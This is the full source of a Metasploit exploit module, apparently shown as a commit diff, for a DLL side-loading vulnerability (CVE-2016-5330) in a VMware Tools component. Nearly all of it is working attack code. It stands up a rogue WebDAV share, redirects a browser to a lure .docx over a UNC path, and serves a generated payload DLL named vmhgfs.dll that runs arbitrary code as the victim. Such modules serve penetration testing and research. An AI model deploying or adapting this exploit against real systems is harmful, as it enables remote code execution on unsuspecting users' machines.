1
+ # Based on WebDAV Application DLL Hijacker module
2
+ require 'msf/core'
3
+
4
+ class Metasploit3 < Msf ::Exploit ::Remote
5
+ Rank = NormalRanking
6
+
7
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
8
+ include Msf ::Exploit ::EXE
9
+
10
+ def initialize ( info = { } )
11
+ super ( update_info ( info ,
12
+ 'Name' => 'DLL side loading vulnerability in VMware Host Guest Client Redirector' ,
13
+ 'Description' => %q{
14
+ A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
15
+ a component of VMware Tools. This issue can be exploited by luring a victim into
16
+ opening a document from the attacker's share. An attacker can exploit this issue to
17
+ execute arbitrary code with the privileges of the target user. This can potentially
18
+ result in the attacker taking complete control of the affected system. If the WebDAV
19
+ Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
20
+ } ,
21
+ 'Author' => 'Yorick Koster' ,
22
+ 'License' => MSF_LICENSE ,
23
+ 'References' =>
24
+ [
25
+ [ 'CVE' , '2016-5330' ] ,
26
+ [ 'URL' , 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html' ] ,
27
+ [ 'URL' , 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html' ] ,
28
+ ] ,
29
+ 'DefaultOptions' =>
30
+ {
31
+ 'EXITFUNC' => 'thread' ,
32
+ 'PAYLOAD' => 'windows/exec' ,
33
+ 'CMD' => 'C:\\Windows\\System32\\calc.exe' ,
34
+ } ,
35
+ 'Payload' => { 'Space' => 2048 , } ,
36
+ 'Platform' => 'win' ,
37
+ 'Targets' =>
38
+ [
39
+ [ 'Windows x64' , { 'Arch' => ARCH_X64 , } ] ,
40
+ [ 'Windows x86' , { 'Arch' => ARCH_X86 , } ] ,
41
+ ] ,
42
+ 'Privileged' => false ,
43
+ 'DisclosureDate' => 'August 5 2016' ,
44
+ 'DefaultTarget' => 0 ) )
45
+
46
+ register_options (
47
+ [
48
+ OptPort . new ( 'SRVPORT' , [ true , "The daemon port to listen on (do not change)" , 80 ] ) ,
49
+ OptString . new ( 'URIPATH' , [ true , "The URI to use (do not change)" , "/" ] ) ,
50
+ OptString . new ( 'BASENAME' , [ true , "The base name for the docx file" , "Document1" ] ) ,
51
+ OptString . new ( 'SHARENAME' , [ true , "The name of the top-level share" , "documents" ] ) ,
52
+ ] , self . class )
53
+
54
+ deregister_options ( 'SSL' , 'SSLVersion' , 'SSLCert' ) # no SSL
55
+ end
56
+
57
+
58
+ def on_request_uri ( cli , request )
59
+
60
+ case request . method
61
+ when 'OPTIONS'
62
+ process_options ( cli , request )
63
+ when 'PROPFIND'
64
+ process_propfind ( cli , request )
65
+ when 'GET'
66
+ process_get ( cli , request )
67
+ else
68
+ print_status ( "#{ request . method } => 404 (#{ request . uri } )" )
69
+ resp = create_response ( 404 , "Not Found" )
70
+ resp . body = ""
71
+ resp [ 'Content-Type' ] = 'text/html'
72
+ cli . send_response ( resp )
73
+ end
74
+ end
75
+
76
+
77
+ def process_get ( cli , request )
78
+ myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address ( cli . peerhost ) : datastore [ 'SRVHOST' ]
79
+ webdav = "\\ \\ #{ myhost } \\ "
80
+
81
+ if ( request . uri =~ /vmhgfs\. dll$/i )
82
+ print_status ( "GET => DLL Payload (#{ request . uri } )" )
83
+ return if ( ( p = regenerate_payload ( cli ) ) == nil )
84
+ data = generate_payload_dll ( { :arch => target [ 'Arch' ] , :code => p . encoded } )
85
+ send_response ( cli , data , { 'Content-Type' => 'application/octet-stream' } )
86
+ return
87
+ end
88
+
89
+ if ( request . uri =~ /\. docx$/i )
90
+ print_status ( "GET => DOCX (#{ request . uri } )" )
91
+ send_response ( cli , "" , { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' } )
92
+ return
93
+ end
94
+
95
+ if ( request . uri [ -1 , 1 ] == "/" or request . uri =~ /index\. html?$/i )
96
+ print_status ( "GET => REDIRECT (#{ request . uri } )" )
97
+ resp = create_response ( 200 , "OK" )
98
+ resp . body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\ \\ #{ @exploit_unc } #{ datastore [ 'SHARENAME' ] } \\ #{ datastore [ 'BASENAME' ] } .docx"></head><body></body></html>|
99
+ resp [ 'Content-Type' ] = 'text/html'
100
+ cli . send_response ( resp )
101
+ return
102
+ end
103
+
104
+ print_status ( "GET => 404 (#{ request . uri } )" )
105
+ resp = create_response ( 404 , "Not Found" )
106
+ resp . body = ""
107
+ cli . send_response ( resp )
108
+ end
109
+
110
+ #
111
+ # OPTIONS requests sent by the WebDav Mini-Redirector
112
+ #
113
+ def process_options ( cli , request )
114
+ print_status ( "OPTIONS #{ request . uri } " )
115
+ headers = {
116
+ 'MS-Author-Via' => 'DAV' ,
117
+ 'DASL' => '<DAV:sql>' ,
118
+ 'DAV' => '1, 2' ,
119
+ 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH' ,
120
+ 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK' ,
121
+ 'Cache-Control' => 'private'
122
+ }
123
+ resp = create_response ( 207 , "Multi-Status" )
124
+ headers . each_pair { |k , v | resp [ k ] = v }
125
+ resp . body = ""
126
+ resp [ 'Content-Type' ] = 'text/xml'
127
+ cli . send_response ( resp )
128
+ end
129
+
130
+ #
131
+ # PROPFIND requests sent by the WebDav Mini-Redirector
132
+ #
133
+ def process_propfind ( cli , request )
134
+ path = request . uri
135
+ print_status ( "PROPFIND #{ path } " )
136
+ body = ''
137
+
138
+ my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address ( cli . peerhost ) : datastore [ 'SRVHOST' ]
139
+ my_uri = "http://#{ my_host } /"
140
+
141
+ if path !~ /\/ $/
142
+
143
+ if blacklisted_path? ( path )
144
+ print_status "PROPFIND => 404 (#{ path } )"
145
+ resp = create_response ( 404 , "Not Found" )
146
+ resp . body = ""
147
+ cli . send_response ( resp )
148
+ return
149
+ end
150
+
151
+ if path . index ( "." )
152
+ print_status "PROPFIND => 207 File (#{ path } )"
153
+ body = %Q|<?xml version="1.0" encoding="utf-8"?>
154
+ <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
155
+ <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
156
+ <D:href>#{ path } </D:href>
157
+ <D:propstat>
158
+ <D:prop>
159
+ <lp1:resourcetype/>
160
+ <lp1:creationdate>#{ gen_datestamp } </lp1:creationdate>
161
+ <lp1:getcontentlength>#{ rand ( 0x100000 ) +128000 } </lp1:getcontentlength>
162
+ <lp1:getlastmodified>#{ gen_timestamp } </lp1:getlastmodified>
163
+ <lp1:getetag>"#{ "%.16x" % rand ( 0x100000000 ) } "</lp1:getetag>
164
+ <lp2:executable>T</lp2:executable>
165
+ <D:supportedlock>
166
+ <D:lockentry>
167
+ <D:lockscope><D:exclusive/></D:lockscope>
168
+ <D:locktype><D:write/></D:locktype>
169
+ </D:lockentry>
170
+ <D:lockentry>
171
+ <D:lockscope><D:shared/></D:lockscope>
172
+ <D:locktype><D:write/></D:locktype>
173
+ </D:lockentry>
174
+ </D:supportedlock>
175
+ <D:lockdiscovery/>
176
+ <D:getcontenttype>application/octet-stream</D:getcontenttype>
177
+ </D:prop>
178
+ <D:status>HTTP/1.1 200 OK</D:status>
179
+ </D:propstat>
180
+ </D:response>
181
+ </D:multistatus>
182
+ |
183
+ # send the response
184
+ resp = create_response ( 207 , "Multi-Status" )
185
+ resp . body = body
186
+ resp [ 'Content-Type' ] = 'text/xml; charset="utf8"'
187
+ cli . send_response ( resp )
188
+ return
189
+ else
190
+ print_status "PROPFIND => 301 (#{ path } )"
191
+ resp = create_response ( 301 , "Moved" )
192
+ resp [ "Location" ] = path + "/"
193
+ resp [ 'Content-Type' ] = 'text/html'
194
+ cli . send_response ( resp )
195
+ return
196
+ end
197
+ end
198
+
199
+ print_status "PROPFIND => 207 Directory (#{ path } )"
200
+ body = %Q|<?xml version="1.0" encoding="utf-8"?>
201
+ <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
202
+ <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
203
+ <D:href>#{ path } </D:href>
204
+ <D:propstat>
205
+ <D:prop>
206
+ <lp1:resourcetype><D:collection/></lp1:resourcetype>
207
+ <lp1:creationdate>#{ gen_datestamp } </lp1:creationdate>
208
+ <lp1:getlastmodified>#{ gen_timestamp } </lp1:getlastmodified>
209
+ <lp1:getetag>"#{ "%.16x" % rand ( 0x100000000 ) } "</lp1:getetag>
210
+ <D:supportedlock>
211
+ <D:lockentry>
212
+ <D:lockscope><D:exclusive/></D:lockscope>
213
+ <D:locktype><D:write/></D:locktype>
214
+ </D:lockentry>
215
+ <D:lockentry>
216
+ <D:lockscope><D:shared/></D:lockscope>
217
+ <D:locktype><D:write/></D:locktype>
218
+ </D:lockentry>
219
+ </D:supportedlock>
220
+ <D:lockdiscovery/>
221
+ <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
222
+ </D:prop>
223
+ <D:status>HTTP/1.1 200 OK</D:status>
224
+ </D:propstat>
225
+ </D:response>
226
+ |
227
+
228
+ if request [ "Depth" ] . to_i > 0
229
+ trail = path . split ( "/" )
230
+ trail . shift
231
+ case trail . length
232
+ when 0
233
+ body << generate_shares ( path )
234
+ when 1
235
+ body << generate_files ( path )
236
+ end
237
+ else
238
+ print_status "PROPFIND => 207 Top-Level Directory"
239
+ end
240
+
241
+ body << "</D:multistatus>"
242
+
243
+ body . gsub! ( /\t / , '' )
244
+
245
+ # send the response
246
+ resp = create_response ( 207 , "Multi-Status" )
247
+ resp . body = body
248
+ resp [ 'Content-Type' ] = 'text/xml; charset="utf8"'
249
+ cli . send_response ( resp )
250
+ end
251
+
252
+ def generate_shares ( path )
253
+ share_name = datastore [ 'SHARENAME' ]
254
+ %Q|
255
+ <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
256
+ <D:href>#{ path } #{ share_name } /</D:href>
257
+ <D:propstat>
258
+ <D:prop>
259
+ <lp1:resourcetype><D:collection/></lp1:resourcetype>
260
+ <lp1:creationdate>#{ gen_datestamp } </lp1:creationdate>
261
+ <lp1:getlastmodified>#{ gen_timestamp } </lp1:getlastmodified>
262
+ <lp1:getetag>"#{ "%.16x" % rand ( 0x100000000 ) } "</lp1:getetag>
263
+ <D:supportedlock>
264
+ <D:lockentry>
265
+ <D:lockscope><D:exclusive/></D:lockscope>
266
+ <D:locktype><D:write/></D:locktype>
267
+ </D:lockentry>
268
+ <D:lockentry>
269
+ <D:lockscope><D:shared/></D:lockscope>
270
+ <D:locktype><D:write/></D:locktype>
271
+ </D:lockentry>
272
+ </D:supportedlock>
273
+ <D:lockdiscovery/>
274
+ <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
275
+ </D:prop>
276
+ <D:status>HTTP/1.1 200 OK</D:status>
277
+ </D:propstat>
278
+ </D:response>
279
+ |
280
+ end
281
+
282
+ def generate_files ( path )
283
+ trail = path . split ( "/" )
284
+ return "" if trail . length < 2
285
+
286
+ %Q|
287
+ <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
288
+ <D:href>#{ path } #{ datastore [ 'BASENAME' ] } .docx</D:href>
289
+ <D:propstat>
290
+ <D:prop>
291
+ <lp1:resourcetype/>
292
+ <lp1:creationdate>#{ gen_datestamp } </lp1:creationdate>
293
+ <lp1:getcontentlength>#{ rand ( 0x10000 ) +120 } </lp1:getcontentlength>
294
+ <lp1:getlastmodified>#{ gen_timestamp } </lp1:getlastmodified>
295
+ <lp1:getetag>"#{ "%.16x" % rand ( 0x100000000 ) } "</lp1:getetag>
296
+ <lp2:executable>T</lp2:executable>
297
+ <D:supportedlock>
298
+ <D:lockentry>
299
+ <D:lockscope><D:exclusive/></D:lockscope>
300
+ <D:locktype><D:write/></D:locktype>
301
+ </D:lockentry>
302
+ <D:lockentry>
303
+ <D:lockscope><D:shared/></D:lockscope>
304
+ <D:locktype><D:write/></D:locktype>
305
+ </D:lockentry>
306
+ </D:supportedlock>
307
+ <D:lockdiscovery/>
308
+ <D:getcontenttype>application/octet-stream</D:getcontenttype>
309
+ </D:prop>
310
+ <D:status>HTTP/1.1 200 OK</D:status>
311
+ </D:propstat>
312
+ </D:response>
313
+ |
314
+ end
315
+
316
+ def gen_timestamp ( ttype = nil )
317
+ ::Time . now . strftime ( "%a, %d %b %Y %H:%M:%S GMT" )
318
+ end
319
+
320
+ def gen_datestamp ( ttype = nil )
321
+ ::Time . now . strftime ( "%Y-%m-%dT%H:%M:%SZ" )
322
+ end
323
+
324
+ # This method rejects requests that are known to break exploitation
325
+ def blacklisted_path? ( uri )
326
+ return true if uri =~ /\. exe/i
327
+ return true if uri =~ /\. (config|manifest)/i
328
+ return true if uri =~ /desktop\. ini/i
329
+ return true if uri =~ /lib.*\. dll/i
330
+ return true if uri =~ /\. tmp$/i
331
+ return true if uri =~ /(pcap|packet)\. dll/i
332
+ false
333
+ end
334
+
335
+ def exploit
336
+
337
+ myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address ( '50.50.50.50' ) : datastore [ 'SRVHOST' ]
338
+
339
+ @exploit_unc = "\\ \\ #{ myhost } \\ "
340
+
341
+ if datastore [ 'SRVPORT' ] . to_i != 80 || datastore [ 'URIPATH' ] != '/'
342
+ fail_with ( Failure ::Unknown , 'Using WebDAV requires SRVPORT=80 and URIPATH=/' )
343
+ end
344
+
345
+ print_status ( "Files are available at #{ @exploit_unc } #{ datastore [ 'SHARENAME' ] } " )
346
+
347
+ super
348
+ end
349
+ end
0 commit comments